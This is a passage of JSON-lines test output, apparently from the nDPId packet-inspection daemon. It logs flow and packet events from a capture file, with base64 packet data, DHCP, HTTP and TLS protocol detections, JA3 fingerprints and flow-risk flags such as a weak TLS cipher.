+00484{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1074,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":103,"flow_packet_id":1,"flow_first_seen":1470104405794,"flow_last_seen":0,"flow_tot_l4_data_len":129,"flow_min_l4_data_len":129,"flow_max_l4_data_len":129,"flow_avg_l4_data_len":129,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.119.2","dst_ip":"255.255.255.255","src_port":43786,"dst_port":5678,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":1074,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":1470104411018,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.110","dst_ip":"255.255.255.255","src_port":60480,"dst_port":62976,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1074,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":114,"flow_packet_id":1,"flow_first_seen":1470104411018,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.10.110","dst_ip":"255.255.255.255","src_port":60480,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00513{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":1074,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1470104407686,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"68.233.253.133","src_port":53613,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00475{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":1074,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":106,"flow_packet_id":1,"flow_first_seen":1470104407686,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"68.233.253.133","src_port":53613,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00500{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":1074,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":1470104408662,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.125.30","dst_ip":"255.255.255.255","src_port":62976,"dst_port":62976,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00486{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":1074,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":109,"flow_packet_id":1,"flow_first_seen":1470104408662,"flow_last_seen":0,"flow_tot_l4_data_len":325,"flow_min_l4_data_len":325,"flow_max_l4_data_len":325,"flow_avg_l4_data_len":325,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.125.30","dst_ip":"255.255.255.255","src_port":62976,"dst_port":62976,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00471{"flow_id":73,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1078,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104413,"pkt_ts_usec":679009,"pkt_caplen":92,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":92,"pkt_l4_len":58,"pkt":"\/\/\/\/\/\/\/\/PKn0WgOECABFAABOH8cAAIARlZvAqAPswKj\/\/wCJAIkAOqdYil8BEAABAAAAAAAAIEVKRkRFQkZFRUJGQUNBQ0FDQUNBQ0FDQUNBQ0FDQUFBAAAgAAE="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1079,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":1470104413679,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.41","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00811{"flow_id":118,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1079,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104413,"pkt_ts_usec":679149,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/SNIkYwreCABFAAFIfjcAAEARNZ3AqAUp\/\/\/\/\/wBEAEMBNOoXAQEGAAJEmkEAAIAAwKgFKQAAAAAAAAAAAAAAAEjSJGMK3gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEIPQcBSNIkYwreDAhrZXZpbi1QQzwITVNGVCA1LjA3DQEPAwYsLi8fIXn5K\/z\/AAAAAAAAAAAAAAAA"} +00574{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1079,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":118,"flow_packet_id":1,"flow_first_seen":1470104413679,"flow_last_seen":0,"flow_tot_l4_data_len":308,"flow_min_l4_data_len":308,"flow_max_l4_data_len":308,"flow_avg_l4_data_len":308,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.41","dst_ip":"255.255.255.255","src_port":68,"dst_port":67,"l4_proto":"udp","ndpi": {"proto":"DHCP","breed":"Acceptable","category":"Network"},"dhcp": {"fingerprint":"1,15,3,6,44,46,47,31,33,121,249,43,252"}} +00811{"flow_id":4,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1080,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104413,"pkt_ts_usec":679193,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"\/\/\/\/\/\/\/\/TF4M6gNlCABFAAFIAAAAABARcfzAqHcB\/\/\/\/\/wBDAEQBNOp7AgEGAAJEmkEAAIAAwKgFKQAAAADAqHcBAAAAAEjSJGMK3gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqHcBAQT\/\/wAAAwTAqHcBBhCoXwEBCAgICKhfwAEICAQE\/wAAAAAAAAAAAAAAAAAAAAAAAAAA"} +00797{"flow_id":55,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1082,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104413,"pkt_ts_usec":815837,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"TF4M6gNlYMVHBbyMCABFAAFIqYMAAEAR0r\/AqAUQwKh3AQBEAEMBNFvwAQEGABeXwM0AAAAAwKgFEAAAAAAAAAAAAAAAAGDFRwW8jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEDNwkBAwYPd1\/8LC45AgXcPQcBYMVHBbyMMwQAdqcADAtNYWNCb29rLUFpcv8AAAAAAAAAAAAAAAAA"} +00798{"flow_id":55,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1083,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104413,"pkt_ts_usec":817995,"pkt_caplen":342,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":342,"pkt_l4_len":308,"pkt":"ABxCjnAxTF4M6gNlCABFAAFIAAAAABARrEPAqHcBwKgFEABDAEQBNHbNAgEGABeXwM0AAAAAwKgFEMCoBRDAqHcBAAAAAGDFRwW8jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABjglNjNQEFNgTAqHcBMwQAAAA8AQT\/\/wAAAwTAqHcBBhCoXwEBCAgICKhfwAEICAQE\/wAAAAAAAAAAAAAAAAAA"} +00580{"flow_id":21,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1086,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":89034,"pkt_caplen":175,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":175,"pkt_l4_len":141,"pkt":"AQBef\/\/6\/PiuMpcsCABFAAChLEkAAAER2QHAqANf7\/\/\/+uhMB2wAjbUvTS1TRUFSQ0ggKiBIVFRQLzEuMQ0KSG9zdDoyMzkuMjU1LjI1NS4yNTA6MTkwMA0KU1Q6dXJuOnNjaGVtYXMtdXBucC1vcmc6ZGV2aWNlOkludGVybmV0R2F0ZXdheURldmljZToxDQpNYW46InNzZHA6ZGlzY292ZXIiDQpNWDozDQoNCg=="} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1087,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":119,"flow_packet_id":1,"flow_first_seen":1470104414296,"flow_last_seen":0,"flow_tot_l4_data_len":1125,"flow_min_l4_data_len":1125,"flow_max_l4_data_len":1125,"flow_avg_l4_data_len":1125,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"31.13.87.36","src_port":53580,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +01905{"flow_id":119,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1087,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":296205,"pkt_caplen":1159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1159,"pkt_l4_len":1125,"pkt":"TF4M6gNlYMVHBbyMCABFAAR5Xv9AAEAGm5bAqAUQHw1XJNFMAbv8UmzuBJ2iMIAYEABHkgAAAQEIChoPmUJf7iUmFwMDBEAsTuFq8CapSbqPXvcdxKrSs42tBtoxpkpEhbC8nI\/Z9Ti9iLIQZa5j5LW58IaLnxvFb3pZI+B1RxFJh1MX7hfwSESpGA\/xdeEaXYqNDQOsIrAzCG5XHIwlKsfFfn\/8RQrusMspya+fP6t\/Zg2Y6qSh9wcmn8mXJja+baLib9aevB6ce5XBs3a64vsRCgFs5NXASh55KEqD8yMaqdrRhlWFE6xGr6+SpmMLlVUwh48nOg1sBDe\/WYgSpLNk63+28tyTAwCIcOk3y10vOsyt7ZjgvztDnWOLtsn7\/6kMi3u2RdUB7eGGzM2NovPfgy\/qKgW2LAn44liW9WewObR4bp+dPFEvC0Y3+SW5bib2uvhBosFVLRK5YrZcwALZJXqqXhrrs6bu\/ljawzwGUMfLGQ2WSbwafdg9dJ73rdMEF1vEvfkETGUyJeWyPgg2G2DdxVtAlhAOni2Cb6JW3jV3kUvfm9gPSADxqT1QqjMQAvLuAsUt5WChMz4yp18RafOK\/1ZUrwxEzqELsHqkpHQf4ILnKSgg5+kGWAcGpm5BV27qLCy+WyMYEnVR9nevFTvw2OV3haLNTqpyfd4K7vOAMw+dbscVa9MHAeqcd7IQnXV8FbWdFXkC4wCM4E8hTvbfJf2QumZQ2fXLtiYd3sw8qoFpqMjmllDchFzska7DS7GVif4h6CnDNlZ4V+i1Eng9ELpwqlbXjyiEgMAhv7fPmI8e61K\/2gGY8OMdxcNsyD40PLGc9n2gJgcjUdhv3yk5lS0wyxma1JJ1Pa0sEMzvHL8CT6BpEzwkMJEMkciKtJ6VsJyummJhpN5MU9bS0CfSvwU0ARZvT+jD4m9Xd2enHnLuDwg4KR5SAhfN1vXfVfNlzPARDhSaBSDDpj8POKqEg5amwWHcBAQbXCOcOftYxPyyUfYlmBS91ssyfM9KHAYAPjuptOjnLxGz2x9TbNHcI4nTKruVWTV9ktQaEfrdpb\/HDqnCQBNGReenZ\/zWZ\/GfJml4Cm+qteZq9C64lEHb9+XokUZOr8X2s3gyZpMYfRa5jmhmO9xmHg7WJrK4eIDuKfpKwBJ058yTVyD7l0KDSW9GneGAGkjet6prc4idVI6G79csJZdQxaibq52QgAy0phRLTPkicoq0gLlZcIZm+Mml46cJhhEv0H26dA+KCoM5R5DwKEyBjuFs1QF3Y4+SDB+bc1Wt792AR8qtKWp6gbS96vJnCeIhTEA3KFLfapTzgvIE4vSB7KreGQj+tnmHbTp1DHeV+7y4PmFv5on7p4A6CEwD6f6fjePEHDfs2g0EYheGp2VL2NvXgnD2ikpgTUWxxOX40I6u2o6OTbP2RNpQ9m8KCHjwUMiisO3DyvkoNm8lZ6ZPWkev9k5y7txVdM8LiyyQoSG929RxmQGshqjjCdAsjAk+bbGLy98uGf3QTIpvsX0AlZ7fP\/qiRzGtQg=="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1088,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":1,"flow_first_seen":1470104414296,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"192.168.115.75","src_port":53626,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":120,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1088,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":296334,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"ABAj4ACgYMVHBbyMCABFAABAzwZAAEAGcgXAqAUQwKhzS9F6Abs0INrqAAAAALAC\/\/+nvgAAAgQFtAEDAwUBAQgKGg+ZQgAAAAAEAgAA"} +01362{"flow_id":119,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1089,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":296891,"pkt_caplen":759,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":759,"pkt_l4_len":725,"pkt":"TF4M6gNlYMVHBbyMCABFAALpkqNAAEAGaYLAqAUQHw1XJNFMAbv8UnEzBJ2iMIAYEABq4wAAAQEIChoPmUJf7iUmFwMDArD5LAelFwFlufuyco4s\/\/Qvv+UsF7KG3W2aXVv9903LV87nxtNAIzAtPlUtxAIPT+QYQYOyjbvxtQ+Q3w2BeXCdTeBc2Vvhlyi2kFxwf1jLqB8jaDJwivP\/xGW9s5xZd+K0vcco68WAGVVhFXALDf8rp7nos7l2c3eCb9+ciqE2R8G8Pf4MZ5pCC83zl7gfBWwkh4JHUeVVNouVvCgmUz7pPOU27GiOZYmbf0iAqd6+kgzDqsVjJGMyvKT\/fOgiH+fRlxhK8fgLFTMvUw6JGt\/UsaYL4RE69L+mCP1NuNnyVxeorLPVKIVZ13X2miaLYk2DWr9BibPpp3QKFrWmy8E3NKq4Ls+dcN8upVmfmDj7xZcV58HYFhdLrgO56pzKogay7LJ\/Pef6DyPMYVTwySpdKas1Aq+IzlVKtxcR8k6I3pw5YMLWtutrLSrH5ABSNgfMJjpr7KO2g8MPyxfJHjp2vDiI+ruSCa4CqxUVcHS+ZRTOUS6b9R2wmUCu6Y6KCOkMK6zLaxdsVh2SuDnapzRD7fveixQuUMvdOAMX7X4K41IkMkOElwsydkORTyAInVQi4oBSOBugr0DMtesGCV044xeQCLnW8sd4RkMZjJZ4QhcfoxPlJX+f43AY0PNflsTA9yNhamZf4IabRxMggb\/lds0+jUTPyPfEWIc3bobDla0SyHhLFLXgk1Ee+Oe4AxYayqQxnLn\/4p\/VoNfV4WOaHdYeCMPZ3SK54BPrr3dXSTfyhV2DUhdJ\/67K7IkFW2cC4kKBJWWCDD28cyiCT6LF9mykZ0ExSXEgjBCLfnxWyJ4aekEg78E+rUf7kdSBDRTW3tDoKcMJPCumkIQ5L3nUbGzQ3I0QnDhkpOFdM4JoimsOVpik4zef5xLCds4Ul8v94jeMaHT0fOcIvOZn5GhO"} +00425{"flow_id":120,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1092,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":301526,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxABAj4ACgCABFAAA0AABAAEAGQRjAqHNLwKgFEAG70XokV4DmNCDa64ASFtDXBQAAAgQFtAEBBAIBAwMH"} +00427{"flow_id":119,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1093,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":301558,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABxCjnAxTF4M6gNlCABFAAA0wvZAAFgGI+QfDVckwKgFEAG70UwEnaIw\/FJxM4AQAQMsTQAAAQEICl\/vEucaD5lC"} +00523{"flow_id":119,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1094,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":301578,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"ABxCjnAxTF4M6gNlCABFAAB5wvdAAFgGI54fDVckwKgFEAG70UwEnaIw\/FJxM4AYAQNa5QAAAQEICl\/vEucaD5lCFwMDAEDUAFWdFI6vKI3lWfiJsnqtDPHN1dSTIJS61LiuouCW4a1RtVfjlIDetpOkFbYtb3PaKj\/ddLgQEpMmdmbPawF9"} +00417{"flow_id":120,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1095,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":301595,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABAj4ACgYMVHBbyMCABFAAAohwxAAEAGuhfAqAUQwKhzS9F6Abs0INrrJFeA51AQIAAOqAAAIEVKRkRF"} +00426{"flow_id":119,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1098,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":301849,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"TF4M6gNlYMVHBbyMCABFAAA0CgdAAEAG9NPAqAUQHw1XJNFMAbv8UnPoBJ2idYAQD\/0aVAAAAQEIChoPmUdf7xLn"} +00707{"flow_id":120,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1099,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":302554,"pkt_caplen":271,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":271,"pkt_l4_len":237,"pkt":"ABAj4ACgYMVHBbyMCABFAAEBACxAAEAGQB\/AqAUQwKhzS9F6Abs0INrrJFeA51AYIAB90wAAFgMBANQBAADQAwNXoANfjIqHDy9QXUEag4gt5xMipN2TtjnqDApBJHZnuSBj+Q0TSc5VhLmmiAAqPOtufQBM8Qziz0QZmZNFeVk8eABKAP\/AJMAjwArACcAIwCjAJ8AUwBPAEsAmwCXABcAEwAPAKsApwA\/ADsANAGsAZwA5ADMAFgA9ADwANQAvAArAB8ARwALADAAFAAQBAAA9AAAAEwARAAAOMTkyLjE2OC4xMTUuNzUACgAIAAYAFwAYABkACwACAQAADQAMAAoFAQQBAgEEAwIDM3QAAA=="} +00748{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1099,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":4,"flow_first_seen":1470104414296,"flow_last_seen":1470104414302,"flow_tot_l4_data_len":333,"flow_min_l4_data_len":20,"flow_max_l4_data_len":237,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"192.168.115.75","src_port":53626,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"192.168.115.75","ja3":"799135475da362592a4be9199d258726","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00417{"flow_id":120,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1100,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":303590,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxABAj4ACgCABFAAAoBANAAEAGPSHAqHNLwKgFEAG70XokV4DnNCDbxFAQADYtmQAAAAAAAAAA"} +00633{"flow_id":120,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1101,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":305856,"pkt_caplen":215,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":215,"pkt_l4_len":181,"pkt":"ABxCjnAxABAj4ACgCABFAADJBARAAEAGPH\/AqHNLwKgFEAG70XokV4DnNCDbxFAYADaQHAAAFgMDAFECAABNAwP\/SkCYRaSQV0S20m\/rHGnUOyjdt0oR0LdUuhsR9UivBCBj+Q0TSc5VhLmmiAAqPOtufQBM8Qziz0QZmZNFeVk8eAAvAAAF\/wEAAQAUAwMAAQEWAwMAQLfH4HL\/jK5VPe6tMGNhzqQ2T7h4g2WtI6lJyHpPbfwvnM0Bz8GDvaRpOikykLL9aarYlnM2DgJkMroupoJDVZo="} +00815{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1101,"source":"1kxun.pcap","alias":"nDPId-test","flow_id":120,"flow_packet_id":6,"flow_first_seen":1470104414296,"flow_last_seen":1470104414305,"flow_tot_l4_data_len":534,"flow_min_l4_data_len":20,"flow_max_l4_data_len":237,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.5.16","dst_ip":"192.168.115.75","src_port":53626,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"8":"Weak TLS cipher","15":"TLS (probably) not carrying HTTPS"},"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"192.168.115.75","ja3":"799135475da362592a4be9199d258726","ja3s":"573a9f3f80037fb40d481e2054def5bb","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA"}} +00418{"flow_id":120,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1102,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":305902,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABAj4ACgYMVHBbyMCABFAAAonnxAAEAGoqfAqAUQwKhzS9F6Abs0INvEJFeBiFAQH\/oNNAAAVFRQLzEu"} +00417{"flow_id":120,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1103,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":306111,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":26,"pkt":"ABAj4ACgYMVHBbyMCABFAAAukWVAAEAGr7jAqAUQwKhzS9F6Abs0INvEJFeBiFAYIAD1GwAAFAMDAAEB"} +00504{"flow_id":120,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1104,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":306141,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"ABAj4ACgYMVHBbyMCABFAABtTURAAEAG85rAqAUQwKhzS9F6Abs0INvKJFeBiFAYIAA2uAAAFgMDAECbKkLC7CRaXPZNslPbrgwXbyswQI3WFobPWFZwufy3sn\/6rVOKJKb8qWZlEZF9KXP0GhMAIWWDzfqvPxgRanAO"} +00419{"flow_id":120,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1105,"source":"1kxun.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1470104414,"pkt_ts_usec":307243,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ABxCjnAxABAj4ACgCABFAAAoBAVAAEAGPR\/AqHNLwKgFEAG70XokV4GINCDcD1AQADYsrQAAAAAAAAAA"} 